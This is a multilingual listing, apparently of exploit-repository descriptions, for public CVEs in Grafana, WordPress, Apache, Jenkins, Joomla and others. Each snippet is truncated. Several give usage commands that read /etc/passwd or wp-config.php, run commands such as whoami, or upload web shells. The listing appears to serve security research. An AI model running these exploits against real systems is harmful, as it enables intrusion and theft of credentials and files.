Grafana-CVE-2024-9264

Grafana-CVE-2024-9264 POST /api/ds/query?dstype=expr&expression=true&requestId=Q100 HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Cookie: grafanasession=a739fa9aeb235f2790f17de00fefe528 Content-Length: 368 "from": "1696154400000", "to": "1696345200000", "queries": "datasource":...

CVE-2021-29447

CVE-2021-29447 WordPress 5.6-5.7 - 认证（作者及以上）XXE攻击 https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/ 用法： -l LHOST 示例: 127.0.0.1 -n NAME 示例: payload.wav -dn DTDNAME 示例: evil.dtd -r READ 示例: ../wp-config.php evil-wav-dtd-xxe.py: 错误: 需要以下参数: -l/--lhost, -n/--name, -dn/--dtd,...

CVE-2022-31901

CVE-2022-31901 Notepad++x86 の 8.4.3 および 以前のバージョン におけるサービス拒否 DOS。 説明 脆弱性のトリガーは、2つの特別に細工されたテキストファイル（e.g. first.txt & second.txt）を notepad++ への入力として開くことによって発生します。 以下に例を示すように、11/07/2022 時点では、最新バージョンの Notepad++x86 である 8.4.3 を使用しています。 概念実証 - 2つのサンプル入力ファイル first.txt & second.txt を Notepad++ で任意の順序で開きます。...

CVE-2020-3452_auto

CVE-2020-3452 を使用した Cisco ASA の列挙とファイルのダウンロード python enum.py target unluac を使用した Lua バイトコードの変換 bash convert.sh...

cve-2004-2167

cve-2004-2167 待测试代码： 下载 CentOS 6.4 操作系统 将 Latex2RTF 下载到 Downloads 文件夹，链接如下： https://sourceforge.net/projects/latex2rtf/files/latex2rtf-win/1.9.15/ cd /home/username/Downloads/ tar -xvf latex2rtf-1.9.15.tar.gz cd latex2rtf-1.9.15 sudo make sudo make install gcc -o exploit exploit.c ./exploit...

CVE-2023-50164Analysis-

CVE-2023-50164: Apache Strutsの脆弱なアプリケーション CVE-2023-50164 CVE: 9.8 として識別された重大なセキュリティ脆弱性がApache Strutsで発見されました。この脆弱性により、攻撃者はファイルアップロードパラメータを操作し、不正なパストラバーサルやリモートコード実行 RCE につながる可能性があります。 アプリケーション CVE分析用にシンプルなテストアプリケーションが開発されています。 Dockerファイルを使用した実行 最初に、docker build コマンドを使用してアプリケーションをビルドします: docker bui...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773 の PoC とラボ ラボのセットアップ $ git clone https://github.com/0xc4t/CVE-2021-41773 $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run --name cve-2021-41773 -p 81:80 cve-2021-41773 PoC RCE curl...

Grafana-8.3-Directory-Traversal

CVE-2021-43798 Pythonスクリプト 説明: Grafana 8.3.0 ディレクトリトラバーサル EDB-ID 50581が動作しない場合にお試しください 原著記事: https://ethicalhacking.uk/cve-2021-43798-dissecting-the-grafana-path-traversal-vulnerability/gsc.tab=0 OffSec Proving Ground Fanatastic のボックスに取り組んでいた際、Grafana 8.3.0 に遭遇し、ExploitDB ID 50581...

CVE-2014-5284

CVE-2014-5284 CVE-2014-5284 的 Bash 实现 漏洞标题：ossec 2.8 不安全临时文件创建漏洞权限提升 Python 很不错，但并非总是有效 漏洞作者：mbadanoiu Python 漏洞作者：skynet-13 厂商主页：www.ossec.net/ 软件链接：https://github.com/ossec/ossec-hids/archive/2.8.1.tar.gz 版本：OSSEC - 2.8 基于以下研究人员的工作创建 Jeff Petersen Roka Security LLC [email protected] 原始信息位于...

CVE-2023-37739---Path-Traversal-in-i-doit-Pro-25-and-below

CVE-2023-37739 - i-doit Pro 25 及以下版本中的路径遍历漏洞 i-doit Pro 25 及以下版本存在路径遍历漏洞。这些漏洞可能允许远程认证攻击者（低权限或高权限）导航到用户不应访问的位置。该漏洞可用于读取和/或访问敏感文件。 产品描述：i-doit 是由 synetics GmbH 开发的基于 Web 的 IT 文档和 CMDB（配置管理数据库），i-doit Pro 是该软件的商业版本，需要付费许可证。它附带附加功能、专业支持以及定期更新和增强功能。用户需要购买许可证才能使用 i-doit Pro，其价格因用户数量和所需功能而异。 漏洞描述：我们发现该...

CVE-2024-6132

CVE-2024-6132 Pexels: Free Stock Photos = 1.2.2 - 已验证用户（贡献者+）任意文件上传 用法 usage: CVE-2024-6132.py -h -u URL -un USERNAME -p PASSWORD -shellurl SHELLURL Pexels: Free Stock Photos = 1.2.2 - 已验证用户（贡献者+）任意文件上传 | 作者：NXPLOIT - KHALED ALENAZI options: -h, --help 显示帮助信息并退出 -u URL, --url URL WordPress 站点 URL...

CVE-2006-3392

Webmin 1.290 / Usermin 1.220 - 任意ファイル開示の脆弱性を悪用するシンプルなツールです。 使用方法： 1-スクリプト python exploit.py を実行します。 2-ポートを入力します。 3-表示したいフォルダを選択します。 ⛔ 重要 ⛔ 本スクリプトを非倫理的な行為に使用した場合、当方は一切責任を負いません。...

apache_2.4.50

Apache HTTP Server 2.4.50 LFI & RCE CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI & RCE 用のPython3スクリプトです。RCEにはcgi-binが有効である必要があります。 はじめに プログラムの実行 LFI python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE python3 apache2.4.50.py -t http://apache.hack/ -rce whoami Pseudo-shell python...

CVE-2024-23897

CVE-2024-23897 Jenkins CVE-2024-23897：任意文件读取漏洞 此代码将帮助你理解攻击请求与响应的组合。使用代理工具查看结果。 python3 CVE-2024-23897.py -u $url -p $filepathtoread...

Exploit-CVE-2024-26503

Open eClass RCE 利用工具 此工具旨在利用 Open eClass 平台中已知的漏洞（CVE-2024-26503），通过无限制文件上传缺陷实现远程代码执行（RCE）。攻击者可利用该漏洞上传 Web Shell 至服务器，从而执行任意命令。 免责声明 本工具仅用于教育和道德安全测试目的。我对因使用本工具而导致的任何滥用或损害概不负责。用户必须获得目标系统的明确授权才能进行测试。 前提条件 使用本工具前，请确保您的系统已安装 Python 3.x，并通过 pip 安装 requests 库： pip install requests 安装 克隆仓库或下载源码： git clo...

CVE-2022-44268-automated-poc

CVE-2022-44268 ImageMagick 任意ファイル読み取り poc 完全自動化 ⚙ 画像解析時にサーバーから任意のファイルを読み取るために悪用される可能性のある情報漏洩の脆弱性 影響を受ける ImageMagick のバージョン Version: ImageMagick 6.9.11-60 Q16 x8664 2021-01-25 https://imagemagick.org Copyright: C 1999-2021 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php...

CVE-2023-47668

CVE-2023-47668 Restrict Content = 3.2.7 - レガシーログファイルを介した情報漏洩 説明: WordPress用プラグイン「Membership Plugin – Restrict Content」は、バージョン3.2.7以前（3.2.7を含む）において、レガシーログファイルを介した機密情報の漏洩に対して脆弱です。これにより、認証されていない攻撃者がデバッグ情報を含む機密データを抽出することが可能となります。 Severity: medium CVE ID: CVE-2023-47668 CVSS Score: 5.3 CVSS Metrics:...

CVE-2023-4698

CVE-2023-4698 Inclusión de Archivos Locales LFI en usememos/memos 0.13.2 Descripción Hoy quiero destacar un descubrimiento significativo: una vulnerabilidad de seguridad crítica identificada en usememos/memos. Esta vulnerabilidad, que se encuentra en la categoría de Inclusión de Archivos Locales...

JoomlaCVE20168869

针对 Joomla 3.4.4 - 3.6.4 CVE-2016-8869 和 CVE-2016-8870 的利用程序，具有文件上传 Web Shell 这是 PHP 移植版本，原始 Python 源代码来自 @link https://github.com/XiphosResearch/exploits/tree/master/Joomraa 用法：php exploit.php --username hacker -p password -e [email protected] http://localhost:9994/ 0.000 启动中... 0.000 目标为...

CVE-2021-36749

CVE-2021-36749 Apache Druid 任意ファイル読み取り 影響を受けるバージョン：version = 0.21.1 以下の2つの方法のいずれかを使用可能 コマンドライン方式 curl http://127.0.0.1:8888/druid/indexer/v1/sampler?for=connect -H "Content-Type:application/json" -X POST -d...